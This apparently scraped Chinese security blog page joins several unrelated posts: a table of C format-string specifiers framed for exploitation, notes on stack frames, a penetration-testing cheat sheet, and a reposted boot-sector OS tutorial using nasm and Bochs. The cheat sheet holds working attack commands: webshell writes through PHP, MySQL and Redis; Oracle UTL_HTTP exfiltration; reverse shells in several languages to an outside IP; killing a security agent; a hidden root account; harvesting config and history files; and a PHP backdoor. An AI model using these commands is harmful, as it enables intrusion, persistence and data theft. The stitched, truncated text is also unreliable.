!
!
C语言字符串格式化类型:
Type | Description |
---|---|
%c | 输出字符,配上%n可用于向指定地址写数据。 |
%d | 输出十进制整数,配上%n可用于向指定地址写数据。 |
%x | 输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 |
%p | 输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 |
%s | 输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 |
%n | 将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。 |
参考:
https://www.anquanke.com/post/id/85785
堆管理相关文章:
https://www.cnblogs.com/alisecurity/p/5486458.html
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
最近在研究二进制,研究到函数调用部分,将自己理解的原理做个记录。
首先需要了解系统栈的工作原理,栈可以理解成一种先进后出的数据结构,这就不用多说了。
在操作系统中,系统栈也起到用来维护函数调用、参数传递等关系的一个作用。嗯,这是我的理解。
在高级语言编程中,函数调用的底层原理是对用户屏蔽的,所以不用过多的纠结于底层的实现。而对于
汇编研究者来说,了解这个原理就很重要了。
首先可以想象一下,汇编语言在内存中是以指令的形式存在的,这些指令是按照顺序存储和执行的,高级语言中
编写的循环、调用,到了底层都会变成一些最基本的判断和跳转,如何在线性的结构上完成“非线性”的过程调度,
理解了这些,就理解了汇编。
这里先抛出高级语言的一个例子:
1 | /*20160701*/ |
在这个程序中,main函数调用了函数funcA,funcA对传入的数据进行+1然后返回。
这个程序在编译之后,main函数变成这样:
1 | (gdb) disassemble main |
其中rbp是调用main函数的函数的栈桢的底部,这么说有点绕,简单的来说,main函数调用了funcA,那funcA中首先要做的一件事情就是把调用它的main函数栈桢的底部保存,所以在main函数被操作系统装载执行之后,main要做的首先是把调用它的函数的栈桢的底部保存,不然怎么返回呢?
第二个步骤把rsp的值传递给rbp,这是替换当前栈桢的底部,因为调用了funcA,所以要为funcA创建独立的栈桢,于是抬高栈底,怎么抬高呢,把栈顶传给指向栈桢底部的指针就可以了。
下一步是抬高栈顶,这是为funcA创建栈桢空间。
接着将参数传递给edi,因为这里只有一个参数,所以不涉及到参数顺序的问题,关于这个问题,可以去了解一下函数调用约定
调用了funcA,再来观察一下funcA的内部机制:
1 | (gdb) disassemble funcA |
同样的,在funcA中,首先保存上一个函数,即main函数栈桢的栈底,然后将rsp的值赋给rbp,抬高栈桢底部。
接着从edi中取得参数,并放入位于自身栈桢空间中,rbp之后的双字单元内。
然后执行操作,将其自增。
执行完成之后,将返回值保存在eax中,等待返回。
弹出上一个函数的栈桢的底部,重新回到main函数的空间。
PS:
直到目前为止,这个程序反编译出来的结果和书上说的原理还是有一些出入的,还有下面几个问题:
0x01 书上说的是,传递参数,会将参数按照一定顺序压栈,而不是像本程序中这样使用edi
0x02 在main函数调用funcA函数之后,将栈顶指针esp抬高了,但是在funcA函数执行完成需要返回到main函数的时候,只恢复了ebp指针,并没有恢复esp指针,这是为什么?
希望接下来可以搞懂上面的两个问题。
本文中用到的相关代码:
1 | /*20160701*/ |
PHP相关
1 | <?php copy("http://x.x.x.x/shell.txt", "d:\www\shell.php"); ?> |
Mysql数据库
phpmyadmin爆路径
1 | http://url/phpMyAdmin/libraries/select_lang.lib.php |
SQL语句导出shell:
1 | select "<?php eval($_POST['1']);?>" into outfile 'C:\www\shell.php'; |
Redis数据库
写shell:
1 | config set dir D:\www |
Oracle数据库
查数据库ip
1 | select sys_context('userenv','ip_address') from dual |
通过外连回传数据
1 | SELECT UTL_HTTP.request('http://target.com/getdata?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 |
查询所有表
1 | SELECT * FROM ALL_TABLES |
查询当前用户表
1 | select table_name from user_tables; |
查询所有表按大小排序
1 | SELECT TABLE_NAME,NUM_ROWS FROM ALL_TABLES order by NUM_ROWS desc |
查询表前十条
1 | select * from users where rownum < 10 |
分页查询 2000000 到 4000000
1 | SELECT * FROM (SELECT e.*,ROWNUM rn FROM (select * from user ) e WHERE ROWNUM <= 4000000) WHERE rn > 2000000 |
查询当前编码
1 | select userenv('language') from dual; |
命令行执行
1 | export NLS_LANG="american_america.AL32UTF8" |
拖库脚本
JSP1
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
JSP2
1 | <%@ page contentType="text/html;charset=UTF-8"%> |
ColdFusion
1 | <CFSET USERNAME="user"> |
反弹shell
bash
1 | bash -i >& /dev/tcp/1.1.1.1/1234 0>&1 |
1 | rm -f /tmp/p; mknod /tmp/p p && telnet 1.1.1.1 1234 0/tmp/p |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
perl
1 | perl -e 'use Socket;$i="1.1.1.1"; |
python
1 | python -c 'import socket,subprocess,os; |
php
1 | php -r '$sock=fsockopen("1.1.1.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
Windows取消共享文件夹安全警告
1 | @echo off |
kill安全狗3.x
1 | ntsd -c q -pn SafeDogGuardCenter.exe |
其他
python Simple HTTP服务:
1 | python -m SimpleHTTPServer |
Linux相关技巧
压缩目录
1 | zip -r root.zip /root/* |
添加用户并设置密码
1 | useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof |
收集所有.sh .pl .py .conf .cnf .ini .*history .pass (/usr/share目录里面的除外) 并打包成zip
1 | find / \! -path “/usr/share/*” -regex “.*\.sh$\|.*\.pl$\|.*\.py$\|.*\.conf$\|.*\.cnf$\|.*\.ini$\|.*\/\..*history$\|.*\/\..*pass.*” -print|zip pack.zip -@ |
array_push 后门
1 | array_map("ass\x65rt",(array)$_REQUEST['array']); |
开启3389端口
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
转载自 http://www.tsingfun.com/html/2015/dev_0804/hello_os_word_my_first_os.html
首先阐述下程序运行的基本原理:计算机CPU只执行二进制指令,我们使用的开发语言开发出的程序最终由相应的编译器编译为二进制指令,二进制中包含程序相关的数据、代码指令(用我们最常见的公式描述就是:程序=数据+算法)。CPU读取相应的指令、数据后开始执行,执行后的结果输出到外部设备,如屏幕、磁盘等。整个过程中,CPU发挥最为核心的作用,与其他设备一起完成程序的执行、输出。
OS本身也是程序,它的运行也是如此,开机后从指定地址处(0x7c00),开始执行指令。先看看本节例子最终运行效果:
编译运行环境:
nasm:Inter x86汇编编译工具,用户将我们的汇编代码编译为二进制。
(下载地址 http://www.tsingfun.com/html/2015/soft_0804/nasm_asm.html)
Bochs:运行os的虚拟机工具,模拟加载我们生成的软盘映像,并运行os。
(下载地址 http://www.tsingfun.com/html/2015/soft_0804/Bochs_Lightweight_VirtualMachine.html)
代码如下:
1 | ;-------------------------------------------------------------- |
其中,主要的步骤代码中都有详尽的注释,如有任何问题,请移步至论坛《深入OS》板块发帖讨论。
编译执行过程:
打开dos窗口,进入源码所在目录,执行命令nasm boot.asm -o pfos.img:
同目录下生成一个”pfos.img”软盘映像文件,接下来只需要把它装载到虚拟机运行即可,当然有条件的话可以实际写入老式的软盘用真机运行,结果是一样的。
同目录下新建一个 pfos.bxrc Bochs配置文件,内容如下:
1 | #how much memory the emulated machine will have |
双击“pfos.bxrc”启动Bochs运行即可启动我们自己写的os了。
源码下载:http://www.tsingfun.com/uploadfile/2016/0628/hello os world.zip
接下来解释一下运行原理:
首先,软盘大小是1.44M(这个是固定的),所以我们在程序中指定它为1,474,560 字节,除了程序本身的指令、数据外,不足的部分全部补零。
TIMES 1469432 DB 0 就是此处开始写1469432个字节的0。
软盘采用的是FAT12文件格式,我们现在的常见的文件格式有FAT32、NTFS、EXT3等,FAT12是早期的一种文件格式。文件格式是文件格式化存储的一种算法,比如我们要将一个文件存储到软盘(磁盘)上,有些人可能会想我直接从地址0开始存储,直到结束,那么文件名、文件大小、创建时间等其他信息怎么存?紧接着后面继续存储么?那该给各部分分配多少字节空间?先不说后续查找文件的效率,这种存储方法无章可循会完全失控,是不行的方案。
文件格式化算法就解决了此类问题,而且兼顾文件的高效率查找。基本原理就是给软盘(磁盘)分区:FAT区、目录区、数据区,存储文件时先存储文件基本信息到目录区,然后文件的数据按照一定格式存储到数据区,目录区中有数据区中文件数据的地址。
这里只简单介绍一下FAT12格式,后续篇章会深入解析每个字节代表的含义。
我们来看看我们生成的映像里面到底有什么东西?这时我们需要用到二进制查看工具WinHex,点此下载 http://www.tsingfun.com/html/2015/soft_0804/WinHex.html 。
以上看到的是二进制静态代码,实际运行中各指令的地址都是动态变化的,下来一起借助Bochs的debug功能来一探究竟。
我们双击“pfos.bxrc”默认是以运行模式启动Bochs,实际上我们应该启动bochsdbg.exe,因此写个简单的批处理脚本启动它吧,如下:
1 | @echo off |
双击脚本,启动debug模式,如下:
Bochs常用的debug命令如下:
1 | b 0x... 断点命令,指定地址处调试 |
大家有兴趣的话可以调试下,然后看看每步骤寄存器值的变化。
总结:本篇主要是让大家对操作系统有个整体概念上的认识,揭开os神秘的面纱,从底层调试到运行,每个过程都真真切切展现在大家面前。至于汇编指令、地址寻址暂时不懂的话,也不要紧,后续章节会继续作详细阐述,力求使大家在不断的运行、调试过程中逐渐熟悉并掌握汇编及计算机底层技术。
Update your browser to view this website correctly. Update my browser now